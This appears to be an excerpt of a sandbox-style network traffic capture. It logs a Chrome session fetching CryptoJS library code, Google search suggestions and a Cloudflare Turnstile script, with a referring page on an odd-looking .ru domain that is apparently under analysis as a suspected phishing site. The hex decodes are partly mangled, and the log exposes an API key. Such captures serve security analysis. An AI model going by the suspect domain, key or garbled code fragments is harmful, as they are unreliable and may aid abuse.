2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 29 Data Ascii: all(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes)
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 3b Data Ascii: eof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c;
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e 30 Data Ascii: ar t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>0
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 5d Data Ascii: or(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0]
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 Data Ascii: ,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:fu
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 Data Ascii: arAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQ
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 73 Data Ascii: .sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=this
2025-03-20 15:55:17 UTC	1369	IN	Data Raw: 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 5b Data Ascii: ,m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A[

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:17 UTC	579	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiKo8sBCIWgzQEI9s/OAQiB1s4BCMnczgEIhODOAQii5M4BCK/kzgEI6eTOAQiD5c4B Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:17 UTC	1303	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:17 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-rH5U4J6T4tBtCPk7h3cPmA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Downlink Accept-CH: RTT Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-03-20 15:55:17 UTC	1303	IN	Data Raw: 31 30 30 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 6f 72 74 68 20 63 61 72 6f 6c 69 6e 61 20 63 6f 6e 63 65 61 6c 65 64 20 63 61 72 72 79 22 2c 22 66 72 6f 7a 65 6e 20 6d 65 61 6c 73 20 72 65 63 61 6c 6c 65 64 22 2c 22 63 68 69 63 61 67 6f 20 66 69 72 65 22 2c 22 6e 61 74 69 6f 6e 61 6c 20 63 6f 6c 6c 65 67 65 20 77 72 65 73 74 6c 69 6e 67 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 73 22 2c 22 70 6c 61 79 73 74 61 74 69 6f 6e 20 70 6c 75 73 20 61 70 72 69 6c 20 67 61 6d 65 73 22 2c 22 75 70 63 6f 6d 69 6e 67 20 73 6f 6c 61 72 20 65 63 6c 69 70 73 65 73 22 2c 22 65 63 61 70 20 63 6f 6d 6d 6f 64 69 74 79 20 61 73 73 69 73 74 61 6e 63 65 20 70 72 6f 67 72 61 6d 22 2c 22 73 70 72 69 6e 67 20 66 72 65 65 62 69 65 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 Data Ascii: 1005)]}'["",["north carolina concealed carry","frozen meals recalled","chicago fire","national college wrestling championships","playstation plus april games","upcoming solar eclipses","ecap commodity assistance program","spring freebies"],["","","",""
2025-03-20 15:55:17 UTC	1303	IN	Data Raw: 33 4d 6e 6c 55 54 46 70 78 62 33 56 57 56 55 6c 56 56 55 39 47 51 6e 4e 45 64 6e 56 45 4e 47 35 6a 57 57 46 6d 52 43 39 34 54 45 52 57 55 45 5a 73 4b 32 46 53 65 46 46 56 4e 55 52 48 52 32 51 33 53 58 4e 76 51 55 35 33 5a 6b 45 35 5a 57 34 7a 64 6d 6c 70 61 48 42 5a 4d 33 45 76 64 7a 6c 50 56 6c 5a 52 54 45 78 77 4d 30 46 42 52 30 59 78 5a 47 5a 35 51 54 5a 59 62 7a 4e 74 63 56 42 34 4f 55 31 52 4e 6b 4a 4f 53 6a 46 43 59 6a 4e 4a 65 45 78 57 62 57 4e 34 56 56 52 55 52 32 5a 56 61 58 46 69 53 55 64 49 65 6d 56 6e 4e 6a 63 7a 64 7a 42 36 4b 32 46 4d 53 32 4e 78 59 6c 5a 56 55 6c 4a 54 54 33 52 6e 53 46 42 6c 59 6d 4e 48 4e 56 42 52 5a 6d 4a 72 59 7a 64 59 4f 57 52 61 64 6d 31 72 4d 6d 45 77 52 55 70 72 5a 32 52 47 52 32 39 6e 4f 55 70 31 54 79 74 55 64 48 Data Ascii: 3MnlUTFpxb3VWVUlVVU9GQnNEdnVENG5jWWFmRC94TERWUEZsK2FSeFFVNURHR2Q3SXNvQU53ZkE5ZW4zdmlpaHBZM3EvdzlPVlZRTExwM0FBR0YxZGZ5QTZYbzNtcVB4OU1RNkJOSjFCYjNJeExWbWN4VVRUR2ZVaXFiSUdIemVnNjczdzB6K2FMS2NxYlZVUlJTT3RnSFBlYmNHNVBRZmJrYzdYOWRadm1rMmEwRUprZ2RGR29nOUp1TytUdH
2025-03-20 15:55:17 UTC	1303	IN	Data Raw: 74 74 4c 32 78 6f 4d 31 42 55 4d 44 6c 4f 61 33 56 78 53 58 6c 4d 54 45 77 7a 56 30 6c 56 62 46 70 47 53 6a 4e 7a 65 44 68 44 51 6a 42 43 51 55 6f 31 64 6d 70 4d 4e 46 64 35 64 31 5a 30 56 79 39 68 55 47 39 44 55 6d 78 34 57 57 70 6a 61 6a 4a 6d 4d 48 63 33 63 33 4e 4f 61 54 56 6f 4d 56 4e 72 54 58 46 49 5a 44 68 30 61 6d 30 78 5a 44 5a 4f 65 57 68 54 4d 6a 4a 73 61 43 39 70 5a 6e 5a 71 5a 31 56 34 52 57 46 55 54 45 64 70 63 45 56 6e 4d 31 70 6f 59 32 35 34 64 48 6f 35 54 55 38 32 4d 6d 78 35 62 57 78 76 53 33 56 44 52 6a 4e 68 5a 46 46 77 57 47 5a 57 5a 47 64 52 52 43 74 6f 59 6b 4e 70 61 44 64 68 56 32 4e 56 64 31 5a 70 4d 53 39 73 4d 56 68 44 4b 32 52 32 52 57 4a 69 57 56 52 4d 59 6c 64 70 61 6d 73 30 4b 33 4a 58 55 58 52 78 65 56 4e 53 53 6a 5a 31 55 Data Ascii: ttL2xoM1BUMDlOa3VxSXlMTEwzV0lVbFpGSjNzeDhDQjBCQUo1dmpMNFd5d1Z0Vy9hUG9DUmx4WWpjajJmMHc3c3NOaTVoMVNrTXFIZDh0am0xZDZOeWhTMjJsaC9pZnZqZ1V4RWFUTEdpcEVnM1poY254dHo5TU82Mmx5bWxvS3VDRjNhZFFwWGZWZGdRRCtoYkNpaDdhV2NVd1ZpMS9sMVhDK2R2RWJiWVRMYldpams0K3JXUXRxeVNSSjZ1U
2025-03-20 15:55:17 UTC	200	IN	Data Raw: 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 2c 5b 33 2c 31 34 33 2c 33 36 32 2c 33 30 38 5d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 74 79 70 65 22 3a 5b 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 43,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308],[3,143,362,308]],"google:suggesttype":["QUERY","QUERY","ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2025-03-20 15:55:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-03-20 15:55:17 UTC	686	OUT	GET /turnstile/v0/b/708f7a809116/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://b3rz.5m54lq.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-20 15:55:18 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 20 Mar 2025 15:55:18 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48123 Connection: close accept-ranges: bytes last-modified: Tue, 18 Mar 2025 12:36:20 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 9236649e987819b6-EWR alt-svc: h3=":443"; ma=86400
2025-03-20 15:55:18 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function jt(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-20 15:55:18 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
